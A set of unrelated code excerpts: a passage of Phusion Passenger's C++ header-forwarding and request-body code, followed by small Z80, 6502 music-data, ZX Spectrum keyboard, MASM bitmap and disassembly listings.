PUSH_STATIC_BUFFER(" HTTP/1.1\r\nConnection: upgrade\r\n");
} else {
PUSH_STATIC_BUFFER(" HTTP/1.1\r\nConnection: close\r\n");
}
if (cache.setCookie != NULL) {
LString::Part *part;
PUSH_STATIC_BUFFER("Set-Cookie: ");
part = cache.setCookie->start;
while (part != NULL) {
if (part->size == 1 && part->data[0] == '\n') {
// HeaderTable joins multiple Set-Cookie headers together using \n.
PUSH_STATIC_BUFFER("\r\nSet-Cookie: ");
} else {
if (buffers != NULL) {
BEGIN_PUSH_NEXT_BUFFER();
buffers[i].iov_base = (void *) part->data;
buffers[i].iov_len = part->size;
}
INC_BUFFER_ITER(i);
dataSize += part->size;
}
part = part->next;
}
PUSH_STATIC_BUFFER("\r\n");
}
while (*it != NULL) {
if ((it->header->hash == HTTP_CONNECTION.hash()
|| it->header->hash == ServerKit::HTTP_SET_COOKIE.hash())
&& (psg_lstr_cmp(&it->header->key, P_STATIC_STRING("connection"))
|| psg_lstr_cmp(&it->header->key, ServerKit::HTTP_SET_COOKIE)))
{
it.next();
continue;
}
part = it->header->key.start;
while (part != NULL) {
if (buffers != NULL) {
BEGIN_PUSH_NEXT_BUFFER();
buffers[i].iov_base = (void *) part->data;
buffers[i].iov_len = part->size;
}
INC_BUFFER_ITER(i);
part = part->next;
}
dataSize += it->header->key.size;
PUSH_STATIC_BUFFER(": ");
part = it->header->val.start;
while (part != NULL) {
if (buffers != NULL) {
BEGIN_PUSH_NEXT_BUFFER();
buffers[i].iov_base = (void *) part->data;
buffers[i].iov_len = part->size;
}
INC_BUFFER_ITER(i);
part = part->next;
}
dataSize += it->header->val.size;
PUSH_STATIC_BUFFER("\r\n");
it.next();
}
if (req->https) {
PUSH_STATIC_BUFFER("X-Forwarded-Proto: https\r\n");
PUSH_STATIC_BUFFER("!~Passenger-Proto: https\r\n");
}
if (cache.remoteAddr != NULL && cache.remoteAddr->size > 0) {
PUSH_STATIC_BUFFER("X-Forwarded-For: ");
part = cache.remoteAddr->start;
while (part != NULL) {
if (buffers != NULL) {
BEGIN_PUSH_NEXT_BUFFER();
buffers[i].iov_base = (void *) part->data;
buffers[i].iov_len = part->size;
}
INC_BUFFER_ITER(i);
part = part->next;
}
dataSize += cache.remoteAddr->size;
PUSH_STATIC_BUFFER("\r\n");
PUSH_STATIC_BUFFER("!~Passenger-Client-Address: ");
part = cache.remoteAddr->start;
while (part != NULL) {
if (buffers != NULL) {
BEGIN_PUSH_NEXT_BUFFER();
buffers[i].iov_base = (void *) part->data;
buffers[i].iov_len = part->size;
}
INC_BUFFER_ITER(i);
part = part->next;
}
dataSize += cache.remoteAddr->size;
PUSH_STATIC_BUFFER("\r\n");
}
if (req->envvars != NULL) {
PUSH_STATIC_BUFFER("!~Passenger-Envvars: ");
if (buffers != NULL) {
BEGIN_PUSH_NEXT_BUFFER();
buffers[i].iov_base = (void *) req->envvars->start->data;
buffers[i].iov_len = req->envvars->size;
}
INC_BUFFER_ITER(i);
dataSize += req->envvars->size;
PUSH_STATIC_BUFFER("\r\n");
}
if (req->options.analytics) {
PUSH_STATIC_BUFFER("!~Passenger-Txn-Id: ");
if (buffers != NULL) {
BEGIN_PUSH_NEXT_BUFFER();
buffers[i].iov_base = (void *) req->options.transaction->getTxnId().data();
buffers[i].iov_len = req->options.transaction->getTxnId().size();
}
INC_BUFFER_ITER(i);
dataSize += req->options.transaction->getTxnId().size();
PUSH_STATIC_BUFFER("\r\n");
}
PUSH_STATIC_BUFFER("\r\n");
nbuffers = i;
return true;
#undef BEGIN_PUSH_NEXT_BUFFER
#undef INC_BUFFER_ITER
#undef PUSH_STATIC_BUFFER
}
bool
Controller::sendHeaderToAppWithHttpProtocolAndWritev(Request *req, ssize_t &bytesWritten,
HttpHeaderConstructionCache &cache)
{
unsigned int maxbuffers = std::min<unsigned int>(
5 + req->headers.size() * 4 + 4, IOV_MAX);
struct iovec *buffers = (struct iovec *) psg_palloc(req->pool,
sizeof(struct iovec) * maxbuffers);
unsigned int nbuffers, dataSize;
if (constructHeaderBuffersForHttpProtocol(req, buffers,
maxbuffers, nbuffers, dataSize, cache))
{
ssize_t ret;
do {
ret = writev(req->session->fd(), buffers, nbuffers);
} while (ret == -1 && errno == EINTR);
bytesWritten = ret;
return ret == (ssize_t) dataSize;
} else {
bytesWritten = 0;
return false;
}
}
void
Controller::sendHeaderToAppWithHttpProtocolWithBuffering(Request *req,
unsigned int offset, HttpHeaderConstructionCache &cache)
{
struct iovec *buffers;
unsigned int nbuffers, dataSize;
bool ok;
ok = constructHeaderBuffersForHttpProtocol(req, NULL, 0, nbuffers,
dataSize, cache);
assert(ok);
buffers = (struct iovec *) psg_palloc(req->pool,
sizeof(struct iovec) * nbuffers);
ok = constructHeaderBuffersForHttpProtocol(req, buffers, nbuffers,
nbuffers, dataSize, cache);
assert(ok);
(void) ok; // Shut up compiler warning
MemoryKit::mbuf_pool &mbuf_pool = getContext()->mbuf_pool;
const unsigned int MBUF_MAX_SIZE = mbuf_pool_data_size(&mbuf_pool);
if (dataSize <= MBUF_MAX_SIZE) {
MemoryKit::mbuf buffer(MemoryKit::mbuf_get(&mbuf_pool));
gatherBuffers(buffer.start, MBUF_MAX_SIZE, buffers, nbuffers);
buffer = MemoryKit::mbuf(buffer, offset, dataSize - offset);
req->appSink.feedWithoutRefGuard(boost::move(buffer));
} else {
char *buffer = (char *) psg_pnalloc(req->pool, dataSize);
gatherBuffers(buffer, dataSize, buffers, nbuffers);
req->appSink.feedWithoutRefGuard(MemoryKit::mbuf(
buffer + offset, dataSize - offset));
}
}
void
Controller::sendBodyToApp(Client *client, Request *req) {
TRACE_POINT();
assert(req->appSink.acceptingInput());
#ifdef DEBUG_CC_EVENT_LOOP_BLOCKING
req->timeOnRequestHeaderSent = ev_now(getLoop());
reportLargeTimeDiff(client,
"ApplicationPool get until headers sent",
req->timeBeforeAccessingApplicationPool,
req->timeOnRequestHeaderSent);
#endif
if (req->hasBody() || req->upgraded()) {
// onRequestBody() will take care of forwarding
// the request body to the app.
SKC_TRACE(client, 2, "Sending body to application");
req->state = Request::FORWARDING_BODY_TO_APP;
startBodyChannel(client, req);
} else {
// Our task is done. ForwardResponse.cpp will take
// care of ending the request, once all response
// data is forwarded.
SKC_TRACE(client, 2, "No body to send to application");
req->state = Request::WAITING_FOR_APP_OUTPUT;
maybeHalfCloseAppSinkBecauseRequestBodyEndReached(client, req);
}
}
void
Controller::maybeHalfCloseAppSinkBecauseRequestBodyEndReached(Client *client, Request *req) {
P_ASSERT_EQ(req->state, Request::WAITING_FOR_APP_OUTPUT);
if (req->halfClosePolicy == Request::HALF_CLOSE_UPON_REACHING_REQUEST_BODY_END) {
SKC_TRACE(client, 3, "Half-closing application socket with SHUT_WR"
" because end of request body reached");
req->halfClosePolicy = Request::HALF_CLOSE_PERFORMED;
::shutdown(req->session->fd(), SHUT_WR);
}
}
ServerKit::Channel::Result
Controller::whenSendingRequest_onRequestBody(Client *client, Request *req,
const MemoryKit::mbuf &buffer, int errcode)
{
TRACE_POINT();
if (buffer.size() > 0) {
// Data
if (req->bodyType == Request::RBT_CONTENT_LENGTH) {
SKC_TRACE(client, 3, "Forwarding " << buffer.size() <<
" bytes of client request body (" << req->bodyAlreadyRead <<
" of " << req->aux.bodyInfo.contentLength << " bytes forwarded in total): \"" <<
cEscapeString(StaticString(buffer.start, buffer.size())) <<
"\"");
} else {
SKC_TRACE(client, 3, "Forwarding " << buffer.size() <<
" bytes of client request body (" << req->bodyAlreadyRead <<
" bytes forwarded in total): \"" <<
cEscapeString(StaticString(buffer.start, buffer.size())) <<
"\"");
}
req->appSink.feed(buffer);
if (!req->appSink.acceptingInput()) {
if (req->appSink.mayAcceptInputLater()) {
SKC_TRACE(client, 3, "Waiting for appSink channel to become "
"idle before continuing sending body to application");
req->appSink.setConsumedCallback(resumeRequestBodyChannelWhenAppSinkIdle);
stopBodyChannel(client, req);
return Channel::Result(buffer.size(), false);
} else {
// Either we're done feeding to req->appSink, or req->appSink.feed()
// encountered an error while writing to the application socket.
// But we don't care about either scenarios; we just care that
// ForwardResponse.cpp will now forward the response data and end the
// request when it's done.
assert(!req->ended());
assert(req->appSink.hasError());
logAppSocketWriteError(client, req->appSink.getErrcode());
req->state = Request::WAITING_FOR_APP_OUTPUT;
stopBodyChannel(client, req);
}
}
return Channel::Result(buffer.size(), false);
} else if (errcode == 0 || errcode == ECONNRESET) {
// EOF
SKC_TRACE(client, 2, "End of request body encountered");
// Our task is done. ForwardResponse.cpp will take
// care of ending the request, once all response
// data is forwarded.
req->state = Request::WAITING_FOR_APP_OUTPUT;
maybeHalfCloseAppSinkBecauseRequestBodyEndReached(client, req);
return Channel::Result(0, true);
} else {
const unsigned int BUFSIZE = 1024;
char *message = (char *) psg_pnalloc(req->pool, BUFSIZE);
int size = snprintf(message, BUFSIZE,
"error reading request body: %s (errno=%d)",
ServerKit::getErrorDesc(errcode), errcode);
disconnectWithError(&client, StaticString(message, size));
return Channel::Result(0, true);
}
}
void
Controller::resumeRequestBodyChannelWhenAppSinkIdle(Channel *_channel,
unsigned int size)
{
FdSinkChannel *channel = reinterpret_cast<FdSinkChannel *>(_channel);
Request *req = static_cast<Request *>(static_cast<
ServerKit::BaseHttpRequest *>(channel->getHooks()->userData));
Client *client = static_cast<Client *>(req->client);
Controller *self = static_cast<Controller *>(getServerFromClient(client));
SKC_LOG_EVENT_FROM_STATIC(self, Controller, client, "resumeRequestBodyChannelWhenAppSinkIdle");
P_ASSERT_EQ(req->state, Request::FORWARDING_BODY_TO_APP);
req->appSink.setConsumedCallback(NULL);
if (req->appSink.acceptingInput()) {
self->startBodyChannel(client, req);
} else {
// Either we're done feeding to req->appSink, or req->appSink.feed()
// encountered an error while writing to the application socket.
// But we don't care about either scenarios; we just care that
// ForwardResponse.cpp will now forward the response data and end the
// request when it's done.
assert(!req->ended());
assert(req->appSink.hasError());
self->logAppSocketWriteError(client, req->appSink.getErrcode());
req->state = Request::WAITING_FOR_APP_OUTPUT;
}
}
void
Controller::startBodyChannel(Client *client, Request *req) {
if (req->requestBodyBuffering) {
req->bodyBuffer.start();
} else {
req->bodyChannel.start();
}
}
void
Controller::stopBodyChannel(Client *client, Request *req) {
if (req->requestBodyBuffering) {
req->bodyBuffer.stop();
} else {
req->bodyChannel.stop();
}
}
void
Controller::logAppSocketWriteError(Client *client, int errcode) {
if (errcode == EPIPE) {
SKC_INFO(client,
"App socket write error: the application closed the socket prematurely"
" (Broken pipe; errno=" << errcode << ")");
} else {
SKC_INFO(client, "App socket write error: " << ServerKit::getErrorDesc(errcode) <<
" (errno=" << errcode << ")");
}
}
} // namespace Core
} // namespace Passenger
|
SECTION code_fp_math48
PUBLIC am48_dswap
am48_dswap:
; swap double on stack with AC'
;
; enter : AC'= double x
; stack = double y, ret
;
; exit : AC'= double y
; AC = double x
; stack = double x
;
; uses : af, bc, de, hl, bc', de', hl'
pop af
pop hl
pop de
pop bc
exx
push bc
push de
push hl
push af
ret
|
;silence song. disables all streams
song0_header:
.byte 6 ;6 streams
.byte MUSIC_SQ1
.byte $00
.byte MUSIC_SQ2
.byte $00
.byte MUSIC_TRI
.byte $00
.byte MUSIC_NOI
.byte $00
.byte SFX_1
.byte $00
.byte SFX_2
.byte $00 |
ink
inkey HALT
XOR A
LD (aLAST_KEY+1),A
EI
ahl0
CALL KEYSCAN
LD A,E
INC A
JR Z,ink
LD A,D
LD HL,SYMTAB
CP $18
JR Z,aHLSM2
LD HL,CAPSTAB
CP $27
JR Z,aHLSM2
LD HL,NORMTAB
aHLSM2 LD D,0
ADD HL,DE
LD A,(HL)
OR A
JR Z,ink
aLAST_KEY LD B,0
CP B
JR Z,aSEDI_KEY
aLOOP_LST HALT
aSEDI_KEY
LD (aLAST_KEY+1),A
PUSH AF
CALL beepk
POP AF
RET
keysound DB 1 ;key sound 0= yes,1= no, klavesnicove echo
;KeyScan od Busyho z MRSu
KEYSCAN LD L,47 ;testovani klavesnice
LD DE,65535
LD BC,65278
KEYLINE IN A,(C)
CPL
AND 31
JR Z,KEYDONE
LD H,A
LD A,L
KEY3KEYS INC D
RET NZ
KEYBITS SUB 8
SRL H
JR NC,KEYBITS
LD D,E
LD E,A
JR NZ,KEY3KEYS
KEYDONE DEC L
RLC B
JR C,KEYLINE
LD A,D
INC A
RET Z
CP 40
RET Z
CP 25
RET Z
LD A,E
LD E,D
LD D,A
CP 24
RET
SYMTAB DB "*^[&%>}/"
DB ",-]'$<{?"
DB ".+($"
DB 200
DB "/"," "
DB 0
DB "=;)@"
DB 201
DB "|:"
DB 32,13,34
DB "_!"
DB 199
DB "~",0
CAPSTAB DB "BHY"
DB 10,8
DB "TGV"
DB "NJU"
DB 11,5
DB "RFC"
DB "MKI"
DB 9,4
DB "EDX"
DB 2
DB "LO"
DB 15,6
DB "WSZ"
DB 1,13,"P"
DB 12,7
DB "QA"
NORMTAB DB "bhy65tgv"
DB "nju74rfc"
DB "mki83edx"
DB 0
DB "lo92wsz"
DB 32,13
DB "p01qa"
DB 0
beepk LD A,(keysound) ;Busyho nahradni rutina,kratsi
OR A
RET NZ
LD A,(BORDER)
LD E,A
LD B,$10
ADD A,B
OUT ($fe),A
LD B,$6c
beepk1 DJNZ beepk1
LD A,$07
ADD A,E
OUT ($fe),A
RET
BORDER DB 7 ;okraj
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
SaveBackRegion proc ODC:DWORD,TopX:DWORD,TopY:DWORD,BWidth:DWORD,BHeight:DWORD
LOCAL dcMem:DWORD
LOCAL BMMem2:DWORD
LOCAL BMemOld:DWORD
;saves a region from the specified DC into a bitmap
; and returns the handle for the bitmap
invoke CreateCompatibleDC,ODC
mov dcMem,eax
invoke CreateCompatibleBitmap,ODC,BWidth,BHeight
mov BMMem2,eax
invoke SelectObject,dcMem,BMMem2
mov BMemOld,eax
;now bitblt into the new dc
invoke BitBlt,dcMem,0,0,BWidth,BHeight,ODC,TopX,TopY,SRCCOPY
;delete the dc and return the handle to the bitmap
invoke SelectObject,dcMem,BMemOld
invoke DeleteDC,dcMem
mov eax,BMMem2
ret
SaveBackRegion endp
|
0x0000 (0x000000) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0001 (0x000002) 0x2940- f:00024 d: 320 | OR[320] = A
0x0002 (0x000004) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0003 (0x000006) 0x2941- f:00024 d: 321 | OR[321] = A
0x0004 (0x000008) 0x1018- f:00010 d: 24 | A = 24 (0x0018)
0x0005 (0x00000A) 0x294F- f:00024 d: 335 | OR[335] = A
0x0006 (0x00000C) 0x1040- f:00010 d: 64 | A = 64 (0x0040)
0x0007 (0x00000E) 0x2950- f:00024 d: 336 | OR[336] = A
0x0008 (0x000010) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0009 (0x000012) 0x2951- f:00024 d: 337 | OR[337] = A
0x000A (0x000014) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x000B (0x000016) 0x2952- f:00024 d: 338 | OR[338] = A
0x000C (0x000018) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x000D (0x00001A) 0x2953- f:00024 d: 339 | OR[339] = A
0x000E (0x00001C) 0x1141- f:00010 d: 321 | A = 321 (0x0141)
0x000F (0x00001E) 0x2954- f:00024 d: 340 | OR[340] = A
0x0010 (0x000020) 0x114F- f:00010 d: 335 | A = 335 (0x014F)
0x0011 (0x000022) 0x5800- f:00054 d: 0 | B = A
0x0012 (0x000024) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0013 (0x000026) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0014 (0x000028) 0x2940- f:00024 d: 320 | OR[320] = A
0x0015 (0x00002A) 0x2140- f:00020 d: 320 | A = OR[320]
0x0016 (0x00002C) 0x8602- f:00103 d: 2 | P = P + 2 (0x0018), A # 0
0x0017 (0x00002E) 0x700B- f:00070 d: 11 | P = P + 11 (0x0022)
0x0018 (0x000030) 0x1007- f:00010 d: 7 | A = 7 (0x0007)
0x0019 (0x000032) 0x294F- f:00024 d: 335 | OR[335] = A
0x001A (0x000034) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x001B (0x000036) 0x2950- f:00024 d: 336 | OR[336] = A
0x001C (0x000038) 0x114F- f:00010 d: 335 | A = 335 (0x014F)
0x001D (0x00003A) 0x5800- f:00054 d: 0 | B = A
0x001E (0x00003C) 0x1800-0x6F18 f:00014 d: 0 | A = 28440 (0x6F18)
0x0020 (0x000040) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0021 (0x000042) 0x721D- f:00071 d: 29 | P = P - 29 (0x0004)
0x0022 (0x000044) 0x2141- f:00020 d: 321 | A = OR[321]
0x0023 (0x000046) 0x1428- f:00012 d: 40 | A = A + 40 (0x0028)
0x0024 (0x000048) 0x2942- f:00024 d: 322 | OR[322] = A
0x0025 (0x00004A) 0x2141- f:00020 d: 321 | A = OR[321]
0x0026 (0x00004C) 0x290E- f:00024 d: 270 | OR[270] = A
0x0027 (0x00004E) 0x1040- f:00010 d: 64 | A = 64 (0x0040)
0x0028 (0x000050) 0x290D- f:00024 d: 269 | OR[269] = A
0x0029 (0x000052) 0x210D- f:00020 d: 269 | A = OR[269]
0x002A (0x000054) 0x8406- f:00102 d: 6 | P = P + 6 (0x0030), A = 0
0x002B (0x000056) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x002C (0x000058) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x002D (0x00005A) 0x2F0D- f:00027 d: 269 | OR[269] = OR[269] - 1
0x002E (0x00005C) 0x2D0E- f:00026 d: 270 | OR[270] = OR[270] + 1
0x002F (0x00005E) 0x7206- f:00071 d: 6 | P = P - 6 (0x0029)
0x0030 (0x000060) 0x1118- f:00010 d: 280 | A = 280 (0x0118)
0x0031 (0x000062) 0x5800- f:00054 d: 0 | B = A
0x0032 (0x000064) 0x2141- f:00020 d: 321 | A = OR[321]
0x0033 (0x000066) 0x2943- f:00024 d: 323 | OR[323] = A
0x0034 (0x000068) 0x5000- f:00050 d: 0 | A = B
0x0035 (0x00006A) 0x1740- f:00013 d: 320 | A = A - 320 (0x0140)
0x0036 (0x00006C) 0x8406- f:00102 d: 6 | P = P + 6 (0x003C), A = 0
0x0037 (0x00006E) 0x6000- f:00060 d: 0 | A = OR[B]
0x0038 (0x000070) 0x3943- f:00034 d: 323 | (OR[323]) = A
0x0039 (0x000072) 0x5C00- f:00056 d: 0 | B = B + 1
0x003A (0x000074) 0x2D43- f:00026 d: 323 | OR[323] = OR[323] + 1
0x003B (0x000076) 0x7207- f:00071 d: 7 | P = P - 7 (0x0034)
0x003C (0x000078) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x003D (0x00007A) 0x2943- f:00024 d: 323 | OR[323] = A
0x003E (0x00007C) 0x744E- f:00072 d: 78 | R = P + 78 (0x008C)
0x003F (0x00007E) 0x2144- f:00020 d: 324 | A = OR[324]
0x0040 (0x000080) 0x1E00-0x444B f:00017 d: 0 | A = A - 17483 (0x444B)
0x0042 (0x000084) 0x8402- f:00102 d: 2 | P = P + 2 (0x0044), A = 0
0x0043 (0x000086) 0x7005- f:00070 d: 5 | P = P + 5 (0x0048)
0x0044 (0x000088) 0x1800-0x00DA f:00014 d: 0 | A = 218 (0x00DA)
0x0046 (0x00008C) 0x2945- f:00024 d: 325 | OR[325] = A
0x0047 (0x00008E) 0x7009- f:00070 d: 9 | P = P + 9 (0x0050)
0x0048 (0x000090) 0x2144- f:00020 d: 324 | A = OR[324]
0x0049 (0x000092) 0x1E00-0x4D54 f:00017 d: 0 | A = A - 19796 (0x4D54)
0x004B (0x000096) 0x8402- f:00102 d: 2 | P = P + 2 (0x004D), A = 0
0x004C (0x000098) 0x7004- f:00070 d: 4 | P = P + 4 (0x0050)
0x004D (0x00009A) 0x1800-0x00DB f:00014 d: 0 | A = 219 (0x00DB)
0x004F (0x00009E) 0x2945- f:00024 d: 325 | OR[325] = A
0x0050 (0x0000A0) 0x1028- f:00010 d: 40 | A = 40 (0x0028)
0x0051 (0x0000A2) 0x294F- f:00024 d: 335 | OR[335] = A
0x0052 (0x0000A4) 0x2145- f:00020 d: 325 | A = OR[325]
0x0053 (0x0000A6) 0x2950- f:00024 d: 336 | OR[336] = A
0x0054 (0x0000A8) 0x2142- f:00020 d: 322 | A = OR[322]
0x0055 (0x0000AA) 0x2951- f:00024 d: 337 | OR[337] = A
0x0056 (0x0000AC) 0x114F- f:00010 d: 335 | A = 335 (0x014F)
0x0057 (0x0000AE) 0x5800- f:00054 d: 0 | B = A
0x0058 (0x0000B0) 0x1800-0x6F18 f:00014 d: 0 | A = 28440 (0x6F18)
0x005A (0x0000B4) 0x7C09- f:00076 d: 9 | R = OR[9]
0x005B (0x0000B6) 0x2940- f:00024 d: 320 | OR[320] = A
0x005C (0x0000B8) 0x2140- f:00020 d: 320 | A = OR[320]
0x005D (0x0000BA) 0x8602- f:00103 d: 2 | P = P + 2 (0x005F), A # 0
0x005E (0x0000BC) 0x7002- f:00070 d: 2 | P = P + 2 (0x0060)
0x005F (0x0000BE) 0x701C- f:00070 d: 28 | P = P + 28 (0x007B)
0x0060 (0x0000C0) 0x2140- f:00020 d: 320 | A = OR[320]
0x0061 (0x0000C2) 0x8402- f:00102 d: 2 | P = P + 2 (0x0063), A = 0
0x0062 (0x0000C4) 0x7005- f:00070 d: 5 | P = P + 5 (0x0067)
0x0063 (0x0000C6) 0x1800-0x0610 f:00014 d: 0 | A = 1552 (0x0610)
0x0065 (0x0000CA) 0x2946- f:00024 d: 326 | OR[326] = A
0x0066 (0x0000CC) 0x7004- f:00070 d: 4 | P = P + 4 (0x006A)
0x0067 (0x0000CE) 0x1800-0x0622 f:00014 d: 0 | A = 1570 (0x0622)
0x0069 (0x0000D2) 0x2946- f:00024 d: 326 | OR[326] = A
0x006A (0x0000D4) 0x2141- f:00020 d: 321 | A = OR[321]
0x006B (0x0000D6) 0x8602- f:00103 d: 2 | P = P + 2 (0x006D), A # 0
0x006C (0x0000D8) 0x7009- f:00070 d: 9 | P = P + 9 (0x0075)
0x006D (0x0000DA) 0x1019- f:00010 d: 25 | A = 25 (0x0019)
0x006E (0x0000DC) 0x294F- f:00024 d: 335 | OR[335] = A
0x006F (0x0000DE) 0x2141- f:00020 d: 321 | A = OR[321]
0x0070 (0x0000E0) 0x2950- f:00024 d: 336 | OR[336] = A
0x0071 (0x0000E2) 0x114F- f:00010 d: 335 | A = 335 (0x014F)
0x0072 (0x0000E4) 0x5800- f:00054 d: 0 | B = A
0x0073 (0x0000E6) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0074 (0x0000E8) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0075 (0x0000EA) 0x102A- f:00010 d: 42 | A = 42 (0x002A)
0x0076 (0x0000EC) 0x294F- f:00024 d: 335 | OR[335] = A
0x0077 (0x0000EE) 0x114F- f:00010 d: 335 | A = 335 (0x014F)
0x0078 (0x0000F0) 0x5800- f:00054 d: 0 | B = A
0x0079 (0x0000F2) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x007A (0x0000F4) 0x7C09- f:00076 d: 9 | R = OR[9]
0x007B (0x0000F6) 0x2140- f:00020 d: 320 | A = OR[320]
0x007C (0x0000F8) 0x2946- f:00024 d: 326 | OR[326] = A
0x007D (0x0000FA) 0x7402- f:00072 d: 2 | R = P + 2 (0x007F)
0x007E (0x0000FC) 0x721E- f:00071 d: 30 | P = P - 30 (0x0060)
0x007F (0x0000FE) 0x1028- f:00010 d: 40 | A = 40 (0x0028)
0x0080 (0x000100) 0x294F- f:00024 d: 335 | OR[335] = A
0x0081 (0x000102) 0x1800-0x002F f:00014 d: 0 | A = 47 (0x002F)
0x0083 (0x000106) 0x2950- f:00024 d: 336 | OR[336] = A
0x0084 (0x000108) 0x2146- f:00020 d: 326 | A = OR[326]
0x0085 (0x00010A) 0x2951- f:00024 d: 337 | OR[337] = A
0x0086 (0x00010C) 0x114F- f:00010 d: 335 | A = 335 (0x014F)
0x0087 (0x00010E) 0x5800- f:00054 d: 0 | B = A
0x0088 (0x000110) 0x1800-0x6F18 f:00014 d: 0 | A = 28440 (0x6F18)
0x008A (0x000114) 0x7C09- f:00076 d: 9 | R = OR[9]
0x008B (0x000116) 0x0200- f:00001 d: 0 | EXIT
0x008C (0x000118) 0x7543- f:00072 d: 323 | R = P + 323 (0x01CF)
0x008D (0x00011A) 0x7411- f:00072 d: 17 | R = P + 17 (0x009E)
0x008E (0x00011C) 0x2144- f:00020 d: 324 | A = OR[324]
0x008F (0x00011E) 0x1E00-0x4D54 f:00017 d: 0 | A = A - 19796 (0x4D54)
0x0091 (0x000122) 0x8402- f:00102 d: 2 | P = P + 2 (0x0093), A = 0
0x0092 (0x000124) 0x7004- f:00070 d: 4 | P = P + 4 (0x0096)
0x0093 (0x000126) 0x7454- f:00072 d: 84 | R = P + 84 (0x00E7)
0x0094 (0x000128) 0x748F- f:00072 d: 143 | R = P + 143 (0x0123)
0x0095 (0x00012A) 0x7008- f:00070 d: 8 | P = P + 8 (0x009D)
0x0096 (0x00012C) 0x2144- f:00020 d: 324 | A = OR[324]
0x0097 (0x00012E) 0x1E00-0x444B f:00017 d: 0 | A = A - 17483 (0x444B)
0x0099 (0x000132) 0x8402- f:00102 d: 2 | P = P + 2 (0x009B), A = 0
0x009A (0x000134) 0x7003- f:00070 d: 3 | P = P + 3 (0x009D)
0x009B (0x000136) 0x74B1- f:00072 d: 177 | R = P + 177 (0x014C)
0x009C (0x000138) 0x74FE- f:00072 d: 254 | R = P + 254 (0x019A)
0x009D (0x00013A) 0x0200- f:00001 d: 0 | EXIT
0x009E (0x00013C) 0x753A- f:00072 d: 314 | R = P + 314 (0x01D8)
0x009F (0x00013E) 0x2147- f:00020 d: 327 | A = OR[327]
0x00A0 (0x000140) 0x1640- f:00013 d: 64 | A = A - 64 (0x0040)
0x00A1 (0x000142) 0x8402- f:00102 d: 2 | P = P + 2 (0x00A3), A = 0
0x00A2 (0x000144) 0x7019- f:00070 d: 25 | P = P + 25 (0x00BB)
0x00A3 (0x000146) 0x7535- f:00072 d: 309 | R = P + 309 (0x01D8)
0x00A4 (0x000148) 0x2147- f:00020 d: 327 | A = OR[327]
0x00A5 (0x00014A) 0x0A08- f:00005 d: 8 | A = A < 8 (0x0008)
0x00A6 (0x00014C) 0x2944- f:00024 d: 324 | OR[324] = A
0x00A7 (0x00014E) 0x7531- f:00072 d: 305 | R = P + 305 (0x01D8)
0x00A8 (0x000150) 0x2144- f:00020 d: 324 | A = OR[324]
0x00A9 (0x000152) 0x2547- f:00022 d: 327 | A = A + OR[327]
0x00AA (0x000154) 0x2944- f:00024 d: 324 | OR[324] = A
0x00AB (0x000156) 0x2144- f:00020 d: 324 | A = OR[324]
0x00AC (0x000158) 0x1E00-0x4D54 f:00017 d: 0 | A = A - 19796 (0x4D54)
0x00AE (0x00015C) 0x8406- f:00102 d: 6 | P = P + 6 (0x00B4), A = 0
0x00AF (0x00015E) 0x2144- f:00020 d: 324 | A = OR[324]
0x00B0 (0x000160) 0x1E00-0x444B f:00017 d: 0 | A = A - 17483 (0x444B)
0x00B2 (0x000164) 0x8402- f:00102 d: 2 | P = P + 2 (0x00B4), A = 0
0x00B3 (0x000166) 0x7003- f:00070 d: 3 | P = P + 3 (0x00B6)
0x00B4 (0x000168) 0x7413- f:00072 d: 19 | R = P + 19 (0x00C7)
0x00B5 (0x00016A) 0x7005- f:00070 d: 5 | P = P + 5 (0x00BA)
0x00B6 (0x00016C) 0x1800-0x0633 f:00014 d: 0 | A = 1587 (0x0633)
0x00B8 (0x000170) 0x2940- f:00024 d: 320 | OR[320] = A
0x00B9 (0x000172) 0x723E- f:00071 d: 62 | P = P - 62 (0x007B)
0x00BA (0x000174) 0x700A- f:00070 d: 10 | P = P + 10 (0x00C4)
0x00BB (0x000176) 0x1800-0x444B f:00014 d: 0 | A = 17483 (0x444B)
0x00BD (0x00017A) 0x2944- f:00024 d: 324 | OR[324] = A
0x00BE (0x00017C) 0x2142- f:00020 d: 322 | A = OR[322]
0x00BF (0x00017E) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x00C0 (0x000180) 0x2908- f:00024 d: 264 | OR[264] = A
0x00C1 (0x000182) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00C2 (0x000184) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x00C3 (0x000186) 0x2F43- f:00027 d: 323 | OR[323] = OR[323] - 1
0x00C4 (0x000188) 0x2144- f:00020 d: 324 | A = OR[324]
0x00C5 (0x00018A) 0x3942- f:00034 d: 322 | (OR[322]) = A
0x00C6 (0x00018C) 0x0200- f:00001 d: 0 | EXIT
0x00C7 (0x00018E) 0x7511- f:00072 d: 273 | R = P + 273 (0x01D8)
0x00C8 (0x000190) 0x2147- f:00020 d: 327 | A = OR[327]
0x00C9 (0x000192) 0x1630- f:00013 d: 48 | A = A - 48 (0x0030)
0x00CA (0x000194) 0x8007- f:00100 d: 7 | P = P + 7 (0x00D1), C = 0
0x00CB (0x000196) 0x2147- f:00020 d: 327 | A = OR[327]
0x00CC (0x000198) 0x1639- f:00013 d: 57 | A = A - 57 (0x0039)
0x00CD (0x00019A) 0x8003- f:00100 d: 3 | P = P + 3 (0x00D0), C = 0
0x00CE (0x00019C) 0x8402- f:00102 d: 2 | P = P + 2 (0x00D0), A = 0
0x00CF (0x00019E) 0x7002- f:00070 d: 2 | P = P + 2 (0x00D1)
0x00D0 (0x0001A0) 0x7005- f:00070 d: 5 | P = P + 5 (0x00D5)
